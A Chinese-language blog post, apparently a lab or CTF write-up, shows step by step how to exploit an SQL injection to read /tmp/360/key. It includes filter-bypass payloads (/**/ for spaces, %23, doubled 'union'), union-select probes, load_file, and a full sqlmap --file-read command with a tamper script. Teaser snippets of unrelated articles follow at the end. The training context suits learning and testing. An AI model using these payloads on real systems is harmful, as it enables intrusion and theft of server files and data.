SQL注入讀取檔案之各種繞過姿勢

2021-10-03 07:19:11 字數 2522 閱讀 5545

回顯判斷注入點

確定過濾型別

各種繞過姿勢注入

注入要求:通過sql注入漏洞讀取/tmp/360/key檔案,答案就在檔案中。

0x01滲透思路

進入答題後,顯示為使用select * from article where id= ('1')提交表單後得到的資訊,已經知道id輸入的引數值為字元,不需要進行判斷;已經少了判斷字元型,數字型和閉合方式的步驟。

1.回顯判斷注入點

基本思路:因為sql語句中閉合的方式是』),那直接使用』)閉合檢視是否會回顯錯誤;

payload:')回顯出錯,存在注入點;

2.判斷sql語句中被過濾型別

sql語句:』) order by 5#回顯正常,一直嘗試增加判斷的列數還是一樣,未出現報錯情況;也就是說明該條sql語句未被執行,猜測應該是過濾了空格、#、order等;

嘗試使用注釋/**/代替空格,使用%23代替#,再次輸入sql語句,檢視回顯情況;這一步可以多嘗試,組合測試,最終得到過濾型別。

『)/**/order/**/by/**/5%23回顯錯誤

『)/**/order/**/by/**/4%23回顯正常,空格不適用注釋/**/代替回顯錯誤,基本說明瀏覽器無法識別#,且把空格過濾。

過濾型別:目前知道注釋#不可用,空格被過濾;

保證sql語句的完整性基本操作:前邊閉合』),後邊注釋。

3.判斷列數

a.直接查詢看回顯

')/**/uniunionon/**/select/**/1,2,3%23 錯誤

')/**/uniunionon/**/select/**/1,2,3,4%23正確,那麼列數就是4

回顯錯誤:

回顯正確:

b.使用order by n判斷列數

order by n:小於等n正常,大於n錯誤,列數就是n

')/**/order/**/by/**/5%23錯誤

')/**/order/**/by/**/4%23正確,列數為4

4.判斷回顯位

前表出錯方法有兩種:

1)and 1=2

2)id=1改為id=-1 引數值前加負號

payload:id=-1')/**/uniunionon/**/select/**/1,2,3,4%23

根據回顯內容,明顯2,3,4都可以回顯內容;

5.讀取key

讀取key的sql語句:load_file('/tmp/360/key')

1)除了可以直接讀檔案,也可以查一些資料庫,使用者資訊等:

user()當前使用者

database()當前庫名

version()版本

2)使用sqlmap也可以完成本次注入;

使用sqlmap下的/tamper:近60個指令碼

顯示詳細payload: -v 3

基於真假判斷:--level 3

sqlmap注入payload:sqlmap.py -u "http://ip:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"

3)繞過方法可以看另一篇sql注入常見繞過姿勢。

sql注入型別 步驟以及繞waf注入

一 sql注入 sql注入就是是一種將 sql語句插入或新增到應用 使用者 的輸入 引數中的攻擊,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行。最終使使用者可控的輸入被帶入到了資料庫中進行執行。1.1存在 sql注入的地方大致有 l get l post l cookie l http頭部...

python各種檔案讀取

目錄 1 json檔案 2 csv 3 用with來讀取檔案,可避免忘掉f.close 4 用pandas讀取excel csv檔案 1 json檔案樣式 資料儲存在鍵值中 鍵值對間由逗號分隔 花括號用於儲存鍵值對資料組成的物件 方括號用於儲存鍵值對資料組成的陣列 多個物件組成 2 json檔案操作...

注入攻擊之sql注入

在1998年,一位名為rfp的黑客發表了一篇題為 nt web technology vulnerabilities 的文章 注入攻擊的兩個條件 1 使用者能夠克制資料的輸入 在這裡,使用者能夠控制變數 2 原本要執行的 憑藉了使用者的輸入 一般輸入乙個 單引號就能引起執行查詢語句的語法錯誤,有些伺...